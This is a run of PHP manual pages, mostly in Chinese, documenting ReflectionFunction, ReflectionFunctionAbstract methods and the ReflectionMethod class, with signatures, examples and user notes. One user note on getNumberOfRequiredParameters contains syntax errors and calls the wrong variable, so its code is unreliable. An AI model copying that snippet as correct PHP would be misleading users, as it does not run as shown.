  • ? ReflectionFunction::isDisabled
  • ReflectionFunctionAbstract ?
  • PHP Manual
  • ReflectionFunction
  • To string

ReflectionFunction::__toString

(PHP 5, PHP 7)

ReflectionFunction::__toString — To string

说明

public ReflectionFunction::__toString ( void ) : string

To string.

参数

此函数没有参数。

返回值

Returns ReflectionFunction::export()-like output for the function.

范例

Example #1 ReflectionFunction::__toString() example

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

echo new ReflectionFunction('title');
?>

以上例程的输出类似于：

Function [ <user> function title ] {
  @@ Command line code 1 - 1

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}

参见

  • ReflectionFunction::export() - Exports function
  • ReflectionClass::clone()
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionFunctionAbstract 类

(PHP 5 >= 5.2.0, PHP 7)

简介

ReflectionFunction 的父类，详情请阅读它的描述。

类摘要

ReflectionFunctionAbstract implements Reflector {
/* 属性 */
public $name ;
/* 方法 */
final private __clone ( void ) : void
public getClosureScopeClass ( void ) : ReflectionClass
public getClosureThis ( void ) : object
public getDocComment ( void ) : string
public getEndLine ( void ) : int
public getExtension ( void ) : ReflectionExtension
public getExtensionName ( void ) : string
public getFileName ( void ) : string
public getName ( void ) : string
public getNamespaceName ( void ) : string
public getNumberOfParameters ( void ) : int
public getNumberOfRequiredParameters ( void ) : int
public getParameters ( void ) : array
public getReturnType ( void ) : ReflectionType
public getShortName ( void ) : string
public getStartLine ( void ) : int
public getStaticVariables ( void ) : array
public hasReturnType ( void ) : bool
public inNamespace ( void ) : bool
public isClosure ( void ) : bool
public isDeprecated ( void ) : bool
public isGenerator ( void ) : bool
public isInternal ( void ) : bool
public isUserDefined ( void ) : bool
public isVariadic ( void ) : bool
public returnsReference ( void ) : bool
abstract public __toString ( void ) : void
}

属性

name

函数的名称。只读，尝试赋值的时候将会抛出 ReflectionException。

Table of Contents

  • ReflectionFunctionAbstract::__clone — 复制函数
  • ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope associated to the closure
  • ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数
  • ReflectionFunctionAbstract::getDocComment — 获取注释内容
  • ReflectionFunctionAbstract::getEndLine — 获取结束行号
  • ReflectionFunctionAbstract::getExtension — 获取扩展信息
  • ReflectionFunctionAbstract::getExtensionName — 获取扩展名称
  • ReflectionFunctionAbstract::getFileName — 获取文件名称
  • ReflectionFunctionAbstract::getName — 获取函数名称
  • ReflectionFunctionAbstract::getNamespaceName — 获取命名空间
  • ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数
  • ReflectionFunctionAbstract::getParameters — 获取参数
  • ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function
  • ReflectionFunctionAbstract::getShortName — 获取函数短名称
  • ReflectionFunctionAbstract::getStartLine — 获取开始行号
  • ReflectionFunctionAbstract::getStaticVariables — 获取静态变量
  • ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type
  • ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间
  • ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数
  • ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用
  • ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数
  • ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数
  • ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义
  • ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic
  • ReflectionFunctionAbstract::returnsReference — 检查是否返回参考信息
  • ReflectionFunctionAbstract::__toString — 字符串化

User Contributed Notes

There are no user contributed notes for this page.


复制函数

  • ? ReflectionFunctionAbstract
  • ReflectionFunctionAbstract::getClosureScopeClass ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 复制函数

ReflectionFunctionAbstract::__clone

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::__clone — 复制函数

说明

final private ReflectionFunctionAbstract::__clone ( void ) : void

复制函数

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Returns the scope associated to the closure

  • ? ReflectionFunctionAbstract::__clone
  • ReflectionFunctionAbstract::getClosureThis ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Returns the scope associated to the closure

ReflectionFunctionAbstract::getClosureScopeClass

(PHP 5 >= 5.4.0, PHP 7)

ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope associated to the closure

说明

public ReflectionFunctionAbstract::getClosureScopeClass ( void ) : ReflectionClass

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns the class on success or NULL on failure.

User Contributed Notes

There are no user contributed notes for this page.


返回本身的匿名函数

  • ? ReflectionFunctionAbstract::getClosureScopeClass
  • ReflectionFunctionAbstract::getDocComment ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 返回本身的匿名函数

ReflectionFunctionAbstract::getClosureThis

(PHP 5 >= 5.4.0, PHP 7)

ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数

说明

public ReflectionFunctionAbstract::getClosureThis ( void ) : object

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回 $this 指向，产生错误返回 NULL

User Contributed Notes

There are no user contributed notes for this page.


获取注释内容

  • ? ReflectionFunctionAbstract::getClosureThis
  • ReflectionFunctionAbstract::getEndLine ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取注释内容

ReflectionFunctionAbstract::getDocComment

(PHP 5 >= 5.1.0, PHP 7)

ReflectionFunctionAbstract::getDocComment — 获取注释内容

说明

public ReflectionFunctionAbstract::getDocComment ( void ) : string

获取函数的注释文本

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

如果存在注释文本返回其内容，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::getStartLine() - 获取开始行号

User Contributed Notes

jens dot kohl+php at gmail dot com 26-Mar-2012 11:19
Beware when you try to use the getDocComment() methods with eAccelerator turned on. eAccelerator ?optimizes? your code in a way that it removes any comments from your source. So at runtime you're not able to get any comments and therefor getDocComments return false.
bruno at vault7 dot com 12-Nov-2009 11:09
In order to retrieve a comment with this method, the comment must be imediately before the class, function or method, start with /** and end with */


获取结束行号

  • ? ReflectionFunctionAbstract::getDocComment
  • ReflectionFunctionAbstract::getExtension ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取结束行号

ReflectionFunctionAbstract::getEndLine

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getEndLine — 获取结束行号

说明

public ReflectionFunctionAbstract::getEndLine ( void ) : int

获取结束行号

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

获取用户定义函数的结束行号，如果未知返回 FALSE

参见

  • ReflectionFunctionAbstract::getStartLine() - 获取开始行号

User Contributed Notes

There are no user contributed notes for this page.


获取扩展信息

  • ? ReflectionFunctionAbstract::getEndLine
  • ReflectionFunctionAbstract::getExtensionName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取扩展信息

ReflectionFunctionAbstract::getExtension

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getExtension — 获取扩展信息

说明

public ReflectionFunctionAbstract::getExtension ( void ) : ReflectionExtension

获取函数的扩展信息

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回 ReflectionExtension 对象，包含扩展信息

参见

  • ReflectionFunctionAbstract::getExtensionName() - 获取扩展名称

User Contributed Notes

There are no user contributed notes for this page.


获取扩展名称

  • ? ReflectionFunctionAbstract::getExtension
  • ReflectionFunctionAbstract::getFileName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取扩展名称

ReflectionFunctionAbstract::getExtensionName

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getExtensionName — 获取扩展名称

说明

public ReflectionFunctionAbstract::getExtensionName ( void ) : string

获取扩展名称

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回扩展名称

参见

  • ReflectionFunctionAbstract::getExtension() - 获取扩展信息

User Contributed Notes

There are no user contributed notes for this page.


获取文件名称

  • ? ReflectionFunctionAbstract::getExtensionName
  • ReflectionFunctionAbstract::getName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取文件名称

ReflectionFunctionAbstract::getFileName

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getFileName — 获取文件名称

说明

public ReflectionFunctionAbstract::getFileName ( void ) : string

获取函数定义的文件名称

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The file name.

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间

User Contributed Notes

stein at visibone dot com 04-Jul-2013 10:53
Returns FALSE for an internal function (when isInternal() returns TRUE, e.g. for 'strlen').


获取函数名称

  • ? ReflectionFunctionAbstract::getFileName
  • ReflectionFunctionAbstract::getNamespaceName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取函数名称

ReflectionFunctionAbstract::getName

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getName — 获取函数名称

说明

public ReflectionFunctionAbstract::getName ( void ) : string

获取函数名称

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回函数名称

参见

  • ReflectionFunctionAbstract::getExtensionName() - 获取扩展名称
  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义

User Contributed Notes

There are no user contributed notes for this page.


获取命名空间

  • ? ReflectionFunctionAbstract::getName
  • ReflectionFunctionAbstract::getNumberOfParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取命名空间

ReflectionFunctionAbstract::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::getNamespaceName — 获取命名空间

说明

public ReflectionFunctionAbstract::getNamespaceName ( void ) : string

获取类定义所属的命名空间

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回命名空间

参见

  • ReflectionFunctionAbstract::getFileName() - 获取文件名称
  • namespaces

User Contributed Notes

There are no user contributed notes for this page.


获取参数数目

  • ? ReflectionFunctionAbstract::getNamespaceName
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取参数数目

ReflectionFunctionAbstract::getNumberOfParameters

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目

说明

public ReflectionFunctionAbstract::getNumberOfParameters ( void ) : int

获取函数定义的参数数目，包括可选参数

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参数的个数

参见

  • ReflectionFunctionAbstract::getNumberOfRequiredParameters() - 获取必须输入参数个数
  • func_num_args() - Returns the number of arguments passed to the function

User Contributed Notes

Robert Pitt ( LitePHP ) 11-Apr-2010 03:42
Working on a new MVC Application Framework i use this method to check how many arguments are required before calling the sub method!

Example

<?php
        $this->method_args_count = $this->CReflection
            ->getMethod($Route->getMethod())
            ->getNumberOfParameters();
        //Maybe be 5 but if uri is /controller/method/single_param/ we only of 1
        $this->params = $Route->getParams(); //0 in some cases

        if($this->method_args_count > count($this->params))
        {
            $this->difference = ($this->method_args_count - count($this->params));
            for($i=0;$i<=$this->difference;$i++)
            {
                $this->params[] = false;
            }
        }

        //Call the method with correct amount of params
        // but as false for params that have not been passed!
        call_user_func_array(array(new $this->obj,$Route->getMethod()),$this->params);
?>


获取必须输入参数个数

  • ? ReflectionFunctionAbstract::getNumberOfParameters
  • ReflectionFunctionAbstract::getParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取必须输入参数个数

ReflectionFunctionAbstract::getNumberOfRequiredParameters

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数

说明

public ReflectionFunctionAbstract::getNumberOfRequiredParameters ( void ) : int

获取函数定义中，必须输入的参数个数

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

必须输入的参数个数

参见

  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目

User Contributed Notes

cesar at magic3w dot com 07-Jul-2015 12:45
It's interesting to note that this function will treat optional parameters that come before a required parameter as required too. This is good since it allows you to verify that the function will be receiving enough parameters for the it to work, regardless where they are located.

<?php

class MyTest() {
    public function test($a = null, $b) {}
    public function test2($a = null, $b, $c = null) {}
}

//Create the reflection
$r  = new \ReflectionMethod('MyTest', 'test');
$r2 = new \ReflectionMethod('MyTest', 'test2');

//Verify the numbers
echo 'Test: ' . $r->getNumberOfRequiredParameters()); //Output: 2
echo 'Test2: ' . $r->getNumberOfRequiredParameters()); //Output: 2

?>
sebastian at sebastian-eiweleit dot de 02-Sep-2013 03:03
<?php
namespace ExampleWorld;
// The Class
class helloWorld {
    /* Method with two required arguments */

    public function requiredTwoArguments ( $var1, $var2 ) {
        // Some code ...
    }

    /* Method with two arguments, but just one is required */
    public function requiredOneArgument ( $var1, $var2 = false ) {
        // Some code ...
    }
}

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredTwoArguments' );
echo $r->getNumberOfRequiredParameters ();

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredOneArgument' );
echo $r->getNumberOfRequiredParameters ();

// Output: 2 1


获取参数

  • ? ReflectionFunctionAbstract::getNumberOfRequiredParameters
  • ReflectionFunctionAbstract::getReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取参数

ReflectionFunctionAbstract::getParameters

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getParameters — 获取参数

说明

public ReflectionFunctionAbstract::getParameters ( void ) : array

通过 ReflectionParameter 数组返回参数列表

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

一组 ReflectionParameter 对象表示每一参数

参见

  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目
  • func_get_args() - 返回一个包含函数参数列表的数组

User Contributed Notes

dabidi at slupca dot pl 27-Oct-2015 01:33
This is part of my private framework that uses reflection.
This function get arguments list from theme method and puts corresponding vars from $_REQUEST ($_GET, $_POST, and $_COOKIE)

<?php
public static function fire_theme_method($class, $method)
{
        $fire_args=array();

        $reflection = new ReflectionMethod($class, $method);

    foreach($reflection->getParameters() AS $arg)
    {
        if($_REQUEST[$arg->name])
        $fire_args[$arg->name]=$_REQUEST[$arg->name];
        else
        $fire_args[$arg->name]=null;
    }

    return call_user_func_array(array($class, $method), $fire_args);
}
?>
For example, if my theme method needs only id, and we get this url:
http://example.com/my_class/my_method/?id=12&some_unwanted_var=123
will be ignored some_unwanted_var

Of course behind this i have .htaccess, autoloader and controller


Gets the specified return type of a function

  • ? ReflectionFunctionAbstract::getParameters
  • ReflectionFunctionAbstract::getShortName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Gets the specified return type of a function

ReflectionFunctionAbstract::getReturnType

(PHP 7)

ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function

说明

public ReflectionFunctionAbstract::getReturnType ( void ) : ReflectionType

Gets the specified return type of a reflected function.

参数

此函数没有参数。

返回值

Returns a ReflectionType object if a return type is specified, NULL otherwise.

范例

Example #1 ReflectionFunctionAbstract::getReturnType() example

<?php

function to_int($param) : int {
    return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
echo $reflection1->getReturnType();

以上例程会输出：

int

Example #2 Usage on built-in functions

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->getReturnType());

以上例程会输出：

null

This is because many internal functions do not have types specified for their parameters or return values. It is therefore best to avoid using this method on built-in functions.

参见

  • ReflectionFunctionAbstract::hasReturnType() - Checks if the function has a specified return type
  • ReflectionType::__toString() - To string

User Contributed Notes

There are no user contributed notes for this page.


获取函数短名称

  • ? ReflectionFunctionAbstract::getReturnType
  • ReflectionFunctionAbstract::getStartLine ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取函数短名称

ReflectionFunctionAbstract::getShortName

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::getShortName — 获取函数短名称

说明

public ReflectionFunctionAbstract::getShortName ( void ) : string

获取函数的段名称 (没有命名空间定义)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

函数短名称

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间
  • namespaces

User Contributed Notes

There are no user contributed notes for this page.


获取开始行号

  • ? ReflectionFunctionAbstract::getShortName
  • ReflectionFunctionAbstract::getStaticVariables ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取开始行号

ReflectionFunctionAbstract::getStartLine

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getStartLine — 获取开始行号

说明

public ReflectionFunctionAbstract::getStartLine ( void ) : int

获取函数定义的开始行号

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

开始行号

参见

  • ReflectionFunctionAbstract::getEndLine() - 获取结束行号

User Contributed Notes

There are no user contributed notes for this page.


获取静态变量

  • ? ReflectionFunctionAbstract::getStartLine
  • ReflectionFunctionAbstract::hasReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取静态变量

ReflectionFunctionAbstract::getStaticVariables

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::getStaticVariables — 获取静态变量

说明

public ReflectionFunctionAbstract::getStaticVariables ( void ) : array

获取静态变量

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回一个静态变量的 array

参见

  • ReflectionFunctionAbstract::getParameters() - 获取参数

User Contributed Notes

Martiros Aghajanyan 11-Oct-2014 01:27
<?php

function test()
{
    static $a = 0, $b = 15;
    $a++;
    $b++;
    return $a;
}

$rf = new ReflectionFunction('test');

// result - Array ( [a] => 0 [b] => 15 )
print_r( $rf->getStaticVariables() );

//call test function and print again static variables
test();

// result - Array ( [a] => 1 [b] => 16 )
print_r( $rf->getStaticVariables() );

?>


Checks if the function has a specified return type

  • ? ReflectionFunctionAbstract::getStaticVariables
  • ReflectionFunctionAbstract::inNamespace ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Checks if the function has a specified return type

ReflectionFunctionAbstract::hasReturnType

(PHP 7)

ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type

说明

public ReflectionFunctionAbstract::hasReturnType ( void ) : bool

Checks whether the reflected function has a return type specified.

参数

此函数没有参数。

返回值

Returns TRUE if the function is a specified return type, otherwise FALSE.

范例

Example #1 ReflectionFunctionAbstract::hasReturnType() example

<?php

function to_int($param) : int {
    return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
var_dump($reflection1->hasReturnType());

以上例程会输出：

bool(true)

Example #2 Usage on built-in functions

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->hasReturnType());

以上例程会输出：

bool(false)

This is because many internal functions do not have types specified for their parameters or return values. It is therefore best to avoid using this method on built-in functions.

参见

  • ReflectionFunctionAbstract::getReturnType() - Gets the specified return type of a function

User Contributed Notes

There are no user contributed notes for this page.


检查是否处于命名空间

  • ? ReflectionFunctionAbstract::hasReturnType
  • ReflectionFunctionAbstract::isClosure ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否处于命名空间

ReflectionFunctionAbstract::inNamespace

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间

说明

public ReflectionFunctionAbstract::inNamespace ( void ) : bool

检查函数是否在命名空间内定义

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

在命名空间内返回 TRUE，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间
  • namespaces

User Contributed Notes

There are no user contributed notes for this page.


检查是否是匿名函数

  • ? ReflectionFunctionAbstract::inNamespace
  • ReflectionFunctionAbstract::isDeprecated ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否是匿名函数

ReflectionFunctionAbstract::isClosure

(PHP 5 >= 5.3.0, PHP 7)

ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数

说明

public ReflectionFunctionAbstract::isClosure ( void ) : bool

检查是否是匿名函数

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

匿名函数返回 TRUE，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::()

User Contributed Notes

There are no user contributed notes for this page.


检查是否已经弃用

  • ? ReflectionFunctionAbstract::isClosure
  • ReflectionFunctionAbstract::isGenerator ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否已经弃用

ReflectionFunctionAbstract::isDeprecated

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用

说明

public ReflectionFunctionAbstract::isDeprecated ( void ) : bool

检查函数是否已经被弃用

参数

此函数没有参数。

返回值

弃用返回 TRUE，否则返回 FALSE

范例

Example #1 ReflectionFunctionAbstract::isDeprecated() example

<?php
$rf = new ReflectionFunction('ereg');
var_dump($rf->isDeprecated());
?>

以上例程会输出：

bool(true)

参见

  • ReflectionFunctionAbstract::getDocComment() - 获取注释内容

User Contributed Notes

There are no user contributed notes for this page.


判断函数是否是一个生成器函数

  • ? ReflectionFunctionAbstract::isDeprecated
  • ReflectionFunctionAbstract::isInternal ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 判断函数是否是一个生成器函数

ReflectionFunctionAbstract::isGenerator

(PHP 5 >= 5.5.0, PHP 7)

ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数

说明

public ReflectionFunctionAbstract::isGenerator ( void ) : bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

生成器函数返回 TRUE，否则返回 FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


判断函数是否是内置函数

  • ? ReflectionFunctionAbstract::isGenerator
  • ReflectionFunctionAbstract::isUserDefined ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 判断函数是否是内置函数

ReflectionFunctionAbstract::isInternal

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数

说明

public ReflectionFunctionAbstract::isInternal ( void ) : bool

判断函数是否是内置函数，与用户自定义函数相反

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

内置函数返回 TRUE，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义

User Contributed Notes

There are no user contributed notes for this page.


检查是否是用户定义

  • ? ReflectionFunctionAbstract::isInternal
  • ReflectionFunctionAbstract::isVariadic ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否是用户定义

ReflectionFunctionAbstract::isUserDefined

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义

说明

public ReflectionFunctionAbstract::isUserDefined ( void ) : bool

检查函数是否是用户自定义，也就是说不是 PHP 自己内置函数

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

用户自定义函数返回 TRUE，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::isInternal() - 判断函数是否是内置函数

User Contributed Notes

There are no user contributed notes for this page.


Checks if the function is variadic

  • ? ReflectionFunctionAbstract::isUserDefined
  • ReflectionFunctionAbstract::returnsReference ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Checks if the function is variadic

ReflectionFunctionAbstract::isVariadic

(PHP 5 >= 5.6.0, PHP 7)

ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic

说明

public ReflectionFunctionAbstract::isVariadic ( void ) : bool

Checks if the function is variadic.

参数

此函数没有参数。

返回值

Returns TRUE if the function is variadic, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


检查是否返回参考信息

  • ? ReflectionFunctionAbstract::isVariadic
  • ReflectionFunctionAbstract::__toString ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否返回参考信息

ReflectionFunctionAbstract::returnsReference

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::returnsReference — 检查是否返回参考信息

说明

public ReflectionFunctionAbstract::returnsReference ( void ) : bool

检查是否返回参考信息

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回参考信息返回 TRUE，否则返回 FALSE

参见

  • ReflectionFunctionAbstract::isClosure() - 检查是否是匿名函数

User Contributed Notes

There are no user contributed notes for this page.


字符串化

  • ? ReflectionFunctionAbstract::returnsReference
  • ReflectionMethod ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 字符串化

ReflectionFunctionAbstract::__toString

(PHP 5 >= 5.2.0, PHP 7)

ReflectionFunctionAbstract::__toString — 字符串化

说明

abstract public ReflectionFunctionAbstract::__toString ( void ) : void

To string.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The string.

参见

  • ReflectionClass::clone()
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionMethod 类

(PHP 5, PHP 7)

简介

ReflectionMethod 类报告了一个方法的有关信息。

类摘要

ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/* 常量 */
const integer IS_STATIC = 1 ;
const integer IS_PUBLIC = 256 ;
const integer IS_PROTECTED = 512 ;
const integer IS_PRIVATE = 1024 ;
const integer IS_ABSTRACT = 2 ;
const integer IS_FINAL = 4 ;
/* 属性 */
public $name ;
public $class ;
/* 方法 */
public __construct ( mixed $class , string $name )
public static export ( string $class , string $name [, bool $return = false ] ) : string
public getClosure ( object $object ) : Closure
public getDeclaringClass ( void ) : ReflectionClass
public getModifiers ( void ) : int
public getPrototype ( void ) : ReflectionMethod
public invoke ( object $object [, mixed $parameter [, mixed $... ]] ) : mixed
public invokeArgs ( object $object , array $args ) : mixed
public isAbstract ( void ) : bool
public isConstructor ( void ) : bool
public isDestructor ( void ) : bool
public isFinal ( void ) : bool
public isPrivate ( void ) : bool
public isProtected ( void ) : bool
public isPublic ( void ) : bool
public isStatic ( void ) : bool
public setAccessible ( bool $accessible ) : void
public __toString ( void ) : string
/* 继承的方法 */
final private ReflectionFunctionAbstract::__clone ( void ) : void
public ReflectionFunctionAbstract::getClosureScopeClass ( void ) : ReflectionClass
public ReflectionFunctionAbstract::getClosureThis ( void ) : object
public ReflectionFunctionAbstract::getDocComment ( void ) : string
public ReflectionFunctionAbstract::getEndLine ( void ) : int
public ReflectionFunctionAbstract::getExtension ( void ) : ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName ( void ) : string
public ReflectionFunctionAbstract::getFileName ( void ) : string
public ReflectionFunctionAbstract::getName ( void ) : string
public ReflectionFunctionAbstract::getNamespaceName ( void ) : string
public ReflectionFunctionAbstract::getNumberOfParameters ( void ) : int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters ( void ) : int
public ReflectionFunctionAbstract::getParameters ( void ) : array
public ReflectionFunctionAbstract::getReturnType ( void ) : ReflectionType
public ReflectionFunctionAbstract::getShortName ( void ) : string
public ReflectionFunctionAbstract::getStartLine ( void ) : int
public ReflectionFunctionAbstract::getStaticVariables ( void ) : array
public ReflectionFunctionAbstract::hasReturnType ( void ) : bool
public ReflectionFunctionAbstract::inNamespace ( void ) : bool
public ReflectionFunctionAbstract::isClosure ( void ) : bool
public ReflectionFunctionAbstract::isDeprecated ( void ) : bool
public ReflectionFunctionAbstract::isGenerator ( void ) : bool
public ReflectionFunctionAbstract::isInternal ( void ) : bool
public ReflectionFunctionAbstract::isUserDefined ( void ) : bool
public ReflectionFunctionAbstract::isVariadic ( void ) : bool
public ReflectionFunctionAbstract::returnsReference ( void ) : bool
abstract public ReflectionFunctionAbstract::__toString ( void ) : void
}

属性

name

Method name

class

Class name

预定义常量

ReflectionMethod 修饰符

ReflectionMethod::IS_STATIC

指示一个方法是静态（static）的。

ReflectionMethod::IS_PUBLIC

指示一个方法是 public 的。

ReflectionMethod::IS_PROTECTED

指示一个方法是 protected 的。

ReflectionMethod::IS_PRIVATE

指示一个方法是 private 的。

ReflectionMethod::IS_ABSTRACT

指示一个方法是 abstract 的。

ReflectionMethod::IS_FINAL

指示一个方法是 final 的。

Table of Contents

  • ReflectionMethod::__construct — ReflectionMethod 的构造函数
  • ReflectionMethod::export — 输出一个回调方法
  • ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。
  • ReflectionMethod::getDeclaringClass — 获取反射函数调用参数的类表达
  • ReflectionMethod::getModifiers — 获取方法的修饰符
  • ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
  • ReflectionMethod::invoke — Invoke
  • ReflectionMethod::invokeArgs — 带参数执行
  • ReflectionMethod::isAbstract — 判断方法是否是抽象方法
  • ReflectionMethod::isConstructor — 判断方法是否是构造方法
  • ReflectionMethod::isDestructor — 判断方法是否是析构方法
  • ReflectionMethod::isFinal — 判断方法是否定义 final
  • ReflectionMethod::isPrivate — 判断方法是否是私有方法
  • ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)
  • ReflectionMethod::isPublic — 判断方法是否是公开方法
  • ReflectionMethod::isStatic — 判断方法是否是静态方法
  • ReflectionMethod::setAccessible — 设置方法是否访问
  • ReflectionMethod::__toString — 返回反射方法对象的字符串表达

User Contributed Notes

webseiten dot designer at googlemail dot com 02-Apr-2011 11:53
Note that the public member $class contains the name of the class in which the method has been defined:

<?php
class A {public function __construct() {}}
class B extends A {}

$method = new ReflectionMethod('B', '__construct');
echo $method->class; // prints 'A'
?>
